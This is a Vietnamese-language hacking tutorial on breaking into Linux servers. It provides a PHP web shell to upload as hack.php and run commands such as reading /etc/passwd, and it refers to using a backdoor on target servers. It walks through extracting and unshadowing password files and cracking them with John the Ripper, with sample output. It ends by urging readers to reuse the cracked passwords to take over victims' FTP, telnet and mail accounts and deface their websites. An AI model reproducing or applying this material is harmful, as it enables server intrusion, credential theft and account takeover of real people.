Cơ bản Hack Linux
trang này đã được đọc lầnMình xin giới thiệu sơ luợc qua một vài thư mục quan trọng trên server :
/home : nơi lưu giữ các file người sử dụng(VD : người đăng nhập hệ thống có
tên là Micro thì sẽ có 1 thư mục là /home/Micro)
/bin : Các lệnh Unix cơ bản cần thiết như ls chẳng hạn .
/usr/bin : các lệnh khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng
quản trị hệ thống .
/bot : Nơi mà kernel và các file khác được dùng khi khởi động .
/ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây
là nơi mà chúng
ta cần khai thác nhiều nhất )
/var : Các file quản trị như file bản ghi được các thiết bị sử dụng .
/usr/lib : Các thư viện chuẩn như libc.a
/usr/src : Vị trí nguồn của các chương trình .
OK ! Bây giờ mình chuyển sang vấn đề mật khẩu :
Mọi account trên hệ thống đều có một mục nhập file /ect/passwd ( Các bạn có
thể dùng chức năng của backdỏo để xem nội dung file này )
Mỗi mục nhập file passwd có định dạng sau :
username:password:uid:gid:geos:homedir:shell
Ví dụ : root:*:0:1:System PRIVILEGED Account,,,:/:/bin/csh
Đây gọi là trường password .
Username: Tên người sử dụng
Password: Pass của nguời dùng
UserID: Số nhận diện người dùng
GroupID: Số nhận diện nhóm
Geos : vài thông tin về ngườ sử dụng
Home Direcoty: Thư mục ngườ đăng nhấp
Shell : nơi mà chứa lệnh shell cho người s%
http://www.4me.ru/kozar/remview.php
Thường thì password bị mã hoá , nhưng ta có thể dùng 1 số chương trình Crack
đựơc ( Tôi sẽ hướng dẫn Crack vào phần sau ) Vì vậy ngừơi ta đã khắc phục bằng
cách nghĩ ra mật khẩu bóng (Shadow password ) . Khi mật khẩu bóng được dùng ,
trừơng mật khẩu trong /ect/passwd chỉ chứa 1 dấu X hoặc 1 dấu * mà không bao
giờ xuất hiện trong phiên bản mật mật khẩu dã được mã hoá . Thay vào dó người
ta dùng file thứ 2 có tên gọi Shadow ( /ect/shadow )
File này chứa các mục nhập mà thoạt nhìn rất giống với mục nhập trong
/ect/passwd , nhung chứa mật khẩu thực được mã hoá trong trường mật khẩu .
Chỉ có thể đọc được shadow bằng gốc . Trong truờng password của Shadow chỉ có
username và password là có thật bị mã hóa còn các phần khác là không có thực
hoặc bỏ trống .
Đây là vị trí của file password của 1 số phiên bản khác nhau :
Version Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
/tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Ren /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
File nhóm ( ect/group )
Hầu hết các Hacker không quan tâm đến file này nhung tôi thấy cần phải nói vì
nó cung quan trong .
Ðịnh dạng của file này là :
Groupname:password:gid:member
VD: lbin:*:1:root,daemon
tên nhóm là : lbin
pass : * ( o tồn tại --> nó nằm trong Shadow )
1 : số nhóm 1 (nhóm o là root )
người được sử dụng là : root , daemon
Trường password của file group đôi khi khá kỳ lạ. nó không được sử dụng nhiều
,nhưng khi kết hợp với trình newgrp , nó cho phép những người sử dụng không
phải là thành viên của 1 nhóm có thể có thừa nhận định danh . ( Mình sẽ nói
đến phần sau )
Trong khi sử dụng Backdoor để khai thác hệ thống bạn sẽ gặp 1 số lỗi xảy ra
như acces denied hoặc permission denied . Ðây là lỗi khi bạn dùng chức nang
xem 1 thu mục hoặc 1 file đã bị ấn định quyền sở hữu và hạn chế khả năng truy
cập . Vậy phải làm sao , chắc bạn cũng đã nghe nói đến LEO THANG ÐẶC QUYỀN chứ
. OK chúng ta sẽ làm đựơc mọi thứ nếu chúng ta nằm ở vị trí ROOT .
Nhung trứơc tiên chúng ta sẽ tìm hiểu về giới hạn sử dụng file .
Giới hạn sử dụng là cách thức dùng file mà ngườ sử dụng có thể thực hiện được
trong Unix . Có 3 giớ hạn sử dụng :
+Cho phép đọc ( Read ): bạn có thể xem nội dung file
+cho phép sửa đổi (Write) : Bạn có thể thay đổi hoặc xoá file .
+Cho phép thi hành (Excute) : Nghia là bạn là b?n có thể chạy file nhu 1
truong trình ( Bạn chú ý cái này cho phép ta run Backdoor trên server )
Mình lấy ví dụ : Các bạn thử dùng chức năng info của Backdoor đối với 1 file
trên server xem sao :
ban sẽ thấy :
-rwx r-x r-x
Dấu ghạch ngang đầu (-) kí hiệu là đây là 1 file
3 ký tiếp theo (rwx) : nói lên chủ sở hữu có thể được ,ghi và thi hành )
tiếp theo : r-x : nói lên nhóm có thể đọc và thi hành
ti?p theo : r-x : những nguời khác có thể đọc và thi hành .
nói chung nó la ký hiêu của Read-Write-Excute .
Có thể hiểu trong từng mức có 3 bit tuong ứng với giới hạn sử dụng ( Các bạn
còn nhớ cách Chmod file để làm Forum chứ , đấy đấy chính nó )
mình sẽ hướng dẫn cách Crack file password bằng Jonh , và các lệnh để
xâm nhập vào server , và thực hiện các lệnh trên server .
Dần dần bạn sẽ học được cách Hack 1 cách chuyên nghiệp hơn thông qua FPT ,
TFTP , PHF , RPC , NIS , Senmail , WU-FTP Server , BIND .
1 lời khuyên : không có gì hay hơn là bạn nên cài thử Linux xem sao . OK
Ngoài chương trình trên ra, ta còn có thể tự viết một đoạn PHP như sau :
<?
$output = `$cmd`;
echo $output;
?>
Ví dụ : Sau đó lưu đoạn mã này với tên là hack.php. Khi upload lên, ta thực
hiện lệnh như sau :
www.tentrangweb.com/hack.php?cmd=cat+/etc/passwd
Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper :
--------------------------------------------------------------------------------
Lấy file passwd
Crack file passwd
Single crack
Crack bằng wordlist (+rules)
Incremental crack
External crack
Sử dụng các passwd đã bị crack
I. Lấy file passwd
Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu
cgi hoặc lỗi tràn bộ đệm, ... sau đó get file /etc/passwd & /etc/shadow
TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt
* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s
thay cho cat:
ypcat /etc/passwd | grep s > password.txt
TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow,
sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt
II. Crack file passwd
Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của
file passwd. Đây là một file text chứa các thông tin về user trên server. Mỗi
dòng trong file này có dạng như sau:
LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh
LWait login name
0m8Car45jNxHQ encrypted passwd
1000 user id
2000 group id
John Doe real name
/home/litewait home dir
/bin/csh shell
* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack
passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi
crack
Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:
1. Single crack
- được dùng để crack các weak passwd
C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)
guesses: 1 time: 0:00:00:44 29% c/s: 86654 trying: bja$on - m4ry4nnr
guesses: 1 time: 0:00:06:27 100% c/s: 33653 trying: aamy1961 - bamy1969
( password.txt: file passwd cần crack)
JTR vừa crack được 1 passwd "thomas" của username "mrice"(passwd luôn đứng
trước username). JTR cũng đang đoán các passwd từ bja$on -> m4ry4nnr. 1961,
1969? "Rất có thể có năm sinh của user trong passwd", JTR nghĩ vậy đó;)
2. Crack bằng wordlist (+ rules)
- JTR đã có sẵn file wordlist "password.lst"! Bạn không cần phải thêm vào
những từ đại loại như "tEST", "Test", ... Chỉ cần một từ "test" trong file
wordlist là đủ. Khi crack bằng wordlist có dùng thêm rules, JTR sẽ tự động
dùng thêm "tEST", "Test", ..., "test123", ... để đoán passwd!
C:\john>john password.txt -w:password.lst -rules
Loaded 584 passwords with 128 different salts (Standard DES [24/32 4K])
julianne (thutchcr)
mizzou (slymer)
hal9000 (csalzman)
hammer (preardon)
scoobydo (sfuemmel)
mylord (gdessieu)
scoobydo (jreynold)
guesses: 7 time: 0:00:00:46 100% c/s: 100468 trying: owl - 0wl
(-w:<file wordlist>)
JTR vừa đoán được 8 passwd!
* Cách đặt luật cho JTR: để đặt luật cho chế độ crack bằng wordlist, bạn hãy
hiệu chỉnh phần "List.Rules:Wordlist" trong file cấu hình của JTR, "john.ini"
# Wordlist mode rules[List.Rules:Wordlist]
(tất cả các dòng bắt đầu bằng dấu # trong file john.ini được coi là các dòng
chú thích)
Xem các ví dụ sau sẽ rõ về cách đặt luật cho JTR!
>4<7
chỉ chọn các từ có chiều dài >4 && <7 kí tự, tức là dài 5->6 kí tự
>5<7lc
chỉ kiểm tra các từ dài 6 kí tự, sau đó viết thường(lowercase) & viết hoa kí
tự đầu tiên(capital), aBcDeF -> Abcdef
l<9/ese3
lowercase và swap 'e' thành '3'; loại bỏ các từ không chứa 'e' hoặc dài hơn 8
kí tự, tesT -> t3st
>2<4/isi1
lowercase và swap 'i' thành '1'; loại bỏ các từ không chứa 'i' hoặc không dài
đúng 3 kí tự
l<8/isi1^[0-9]
lowercase, swap 'i' thành '1' và thêm 0-9 vào đầu; loại bỏ các từ không chứa
'i' hoặc dài quá 7 kí tự, Vicki -> 0v1ck1, 1v1ck1, 2v1ck1, ..., 9v1ck1
'7/ese3/isi1$[0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, swap 'e' thành 3 và 'i'
thành '1', sau đó thêm 0-9 vào cuối; loại bỏ các từ không chứa 'i' & 'e',
zhaowei-ww -> zhaow310, zhaow311, ..., zhaow319
>4<6T1^[0-9]^[0-9]
từ phải dài 5 kí tự, đổi kiểu chữ của kí tự thứ 2(ở vị trí 1), sau đó thêm
0-9, 0-9(hai số sau của năm sinh) vào đầu, vIcki -> 00vicki, 10vicki, ...,
99vicki
'7T0$[aeiou0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, đổi kiểu chữ của kí tự
thứ 1(ở vị trí 0), sau đó thêm các nguyên âm hoặc 0-9 vào sau, zhaowei1976 ->
Zhaoweia, Zhaoweie, ... Zhaowei0, ..., Zhaowei9
i0[v]i3[k]
chèn 'v' vào vị trí 0 và 'k' vào vị trí 3, ici -> vicki
o4[123]
ghi đè lên kí tự thứ 5(ở vị trí 4) bằng '1', '2' hoặc '3', zhaowei -> zhao1ei,
zhao2ei, zhao3ei
=0?d$7
bỏ qua các từ không bắt đầu bằng 1 digit, thêm 7 vào sau, 7vicki -> 7vicki7
@?w
xoá bỏ các kí tự trắng, zhao wei -> zhaowei
%2i
chỉ chọn các từ có 2 chữ 'i' trở lên, vicki -> vicki
Bạn có thể tìm thấy nhiều ví dụ khác trong file john.ini và tài liệu đi kèm
của JTR. Nếu bạn muốn xem output của các luật mà bạn đã đặt, hãy nhập vào:
john -w:wordfile.dic -rules -stdout > output.file
3. Incremental crack
- chế độ này cho phép bạn đoán tất cả các khả năng của passwd. Bạn dùng tùy
chọn -i:<mode> như sau:
john password.txt -i:all
thử hết mọi khả năng
john password.txt -i:alpha
passwd chỉ gồm các kí tự alpha(a-z)
john password.txt -i:digits
passwd chỉ gồm các kí tự số(0-9)
Để cấu hình cho chế độ "Incremental", bạn hãy hiệu chỉnh phần "Incremental"
trong file john.ini
[Incremental:All]
File = ~/all.chr
MinLen = 0
MaxLen = 8
CharCount = 95
[Incremental:Alpha]
File = ~/alpha.chr
MinLen = 1
MaxLen = 8
CharCount = 26
[Incremental:Digits]
File = ~/digits.chr
MinLen = 1
MaxLen = 8
CharCount = 10
* Ngoài các tập kí tự mặc định all.chr, alpha.chr, digits.chr, ..., bạn có thể
xây dựng cho mình một tập kí tự riêng để dùng trong chế độ crack
"Incremental". Ở đây, tôi làm thử một ví dụ cho bạn thấy!
Đầu tiên, chúng ta cần backup file john.pot. File này chứa các passwd vừa bị
crack!
copy john.pot john.bak
del john.pot
Giờ thì bạn mở Notepad, tạo file john.pot mới với nội dung như sau:
:betyouca
:ng351
Lưu ý, mỗi dòng trong file john.pot phải bắt đầu bằng một dấu ":", tiếp theo
là các kí tự. Chiều dài tối đa của các kí tự trên một dòng(trừ dấu ":") là 8,
tương ứng với maxlength của unix plaintext passwd!
Lưu file john.pot và chạy JTR:
C:\john>john -make:betyou.chr
Loaded 2 plaintexts
Generating cracking order... DONE
Successfully written charset file: betyou.chr (13 characters)
Chúng ta vừa tạo xong file tập kí tự có tên là betyour.chr. Bây giờ bạn hãy
hiệu chỉnh file john.ini, đến phần "Incremental" và thêm vào các dòng sau:
[Incremental:betyou]
File = ~/betyou.chr
MinLen = 3
MaxLen = 7
CharCount = 13
File=~/betyou.chr(file tập kí tự, ~/ == home dir)
MinLen=3 & MaxLen=7 -> JTR chỉ đoán các passwd có chiều dài từ 3->7 kí tự
CharCount=13 -> số kí tự có trong tập kí tự này, đây là số mà thấy khi tạo
file betyou.chr ở trước. Nếu bạn gán CharCount=100, JTR sẽ báo lỗi "chỉ có thể
load được x kí tự". Hãy thay thế 100 bằng x
Đến đây, chúng ta có thể sử dụng tập kí tự mới để crack passwd. Bạn hãy nhập
vào:
john password.txt -i:betyou
4. External crack
JTR còn cho phép bạn lập trình để crack passwd. Cú pháp lệnh y chang như của C
vậy. Bạn hãy xem ví dụ sau, nó có nhiệm vụ lọc các từ có chứa kí tự
alpha(a-z).
[List.External:Filter_Alpha]
void filter()
{
int i, c;
i = 0;
while (c = word[i++])
if (c < 'a' || c > 'z') {
word = 0; return;
}
}
Chi tiết về chế độ crack này, bạn xem thêm trong tài liệu hướng dẫn đi kèm của
JTR!
--------------------------------------------------------------------------------
Tôi muốn nói thêm với các bạn một số vấn đề khác có liên quan khi crack passwd
bằng JTR!
- nếu bạn chỉ muốn crack các user hoặc group cụ thể nào đó, hãy dùng tùy chọn
-user hoặc -group(xem ví dụ sau)
john password.txt -user:LWait
chỉ crack passwd của user "LWait"
john password.txt -group:123 -i:custom
chỉ crack passwd của các user trong group có ID là 123
- crack passwd là một công việc tốn khá nhiều thời gian, có khi phải lên đến
mấy ngày trời mới crack được vài passwd. Để tạm dừng tiến trình crack hiện
tại, bạn hãy ấn Ctrl-C. Khi nào rãnh, bạn có thể restore lại tiến trình bằng
cách gõ vào:
john -restore
- nếu bạn muốn crack nhiều file passwd cùng một lúc, bạn có thể sử dụng tùy
chọn -session để làm việc đa phiên:
john session:zebpasses
Để restore lại session zebpasses, hãy nhập vào:
john -restore:zebpasses
Nếu bạn cần xem tiến độ crack của session này, hãy nhập vào:
john -status:zebpasses
Hoặc nếu bạn muốn biết JTR đã crack được bao nhiêu passwd trong file
password.txt, hãy nhập vào:
john -show password.txt
- trong khi crack, bạn có thể bấm phím space để xem tiến độ crack. Nếu bạn
thích JTR kêu bíp một cái khi vừa crack xong một passwd, hãy hiểu chỉnh phần
"Options" trong file john.ini như sau:
[Options]
...
Beep = Y
...
- Bạn có muốn tăng tốc cho tiến trình crack không? Đừng nên mở nhiều chương
trình khác khi đang chạy JTR. Nếu bạn đang chạy JTR trên Windows, hãy thay thế
file john.exe bằng file mới trong file john-mmx.zip nếu chip CPU của bạn là
Pentium hoặc trong file john-k6.zip nếu bạn đang dùng chip của AMD. Nếu bạn
đang xài Linux, hãy tận dụng ngay sức mạnh của Linux. JTR phá passwd khá nhanh
trên Linux;)
III. Sử dụng các passwd đã bị crack
Nhiều người thường sử dụng y chang một passwd để login telnet, ftp hay
pop3(mail). Vì vậy, bạn có thể thử passwd này để login vào ftp account của họ,
thay đổi trang web của họ hay để lại vài lời nhắn trong mailbox của họ!
Chúc bạn thành công!